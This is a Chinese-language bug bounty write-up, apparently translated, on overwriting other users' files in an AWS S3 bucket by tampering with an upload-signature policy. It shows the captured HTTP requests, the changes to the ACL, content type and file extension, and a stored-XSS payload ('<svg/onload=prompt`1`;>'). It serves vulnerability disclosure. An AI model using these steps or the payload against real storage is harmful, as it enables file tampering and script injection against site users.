滥用ACL权限覆盖S3存储桶中其他用户上传的文件/视频

本文详细描述了如何通过修改ACL权限和自定义上传策略,实现覆盖AWS S3存储桶中其他用户文件的安全漏洞利用过程,涉及请求伪造和权限提升等技术细节。

滥用ACL权限覆盖S3存储桶中其他用户上传的文件/视频

大家好,今天我要分享在HackerOne某个项目中的发现。当时我正在应用程序中寻找IDOR漏洞,于是开始对每个请求进行模糊测试。

初始请求分析

首先捕获到设置S3上传策略的API请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /api-2.0/s3-upload-signatures HTTP/1.1
Host: www.example.com
...
{
  "expiration":"2018-12-18T11:58:24.376Z",
  "conditions":[
    {"acl":"private"},
    {"bucket":"example-web-upload-bucket"},
    {"Content-Type":""},
    {"success_action_status":"200"},
    {"key":"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg"},
    {"x-amz-meta-qqfilename":"1.jpg"},
    ["content-length-range","1","9007199254740992"]
  ]
}

文件上传请求

随后触发的实际文件上传请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
...
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
public-read
...

漏洞利用过程

  1. 通过枚举发现存储桶中的现有文件
  2. 构造自定义策略修改关键参数:
    • aclprivate改为public-read
    • 修改Content-Typetext/html
    • 将文件扩展名从.jpg改为.html
  3. 最终注入恶意HTML内容:
1
<svg/onload=prompt`1`;>

技术要点

  • 通过覆盖现有文件实现存储持久化
  • 滥用ACL权限提升实现横向影响
  • 利用内容类型欺骗执行XSS攻击

感谢阅读!祝您有美好的一天。


[原文作者] Armaan Pathan
[技术平台] Hackerone/Bugcrowd
[涉及技术] AWS S3/Bug Bounty

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计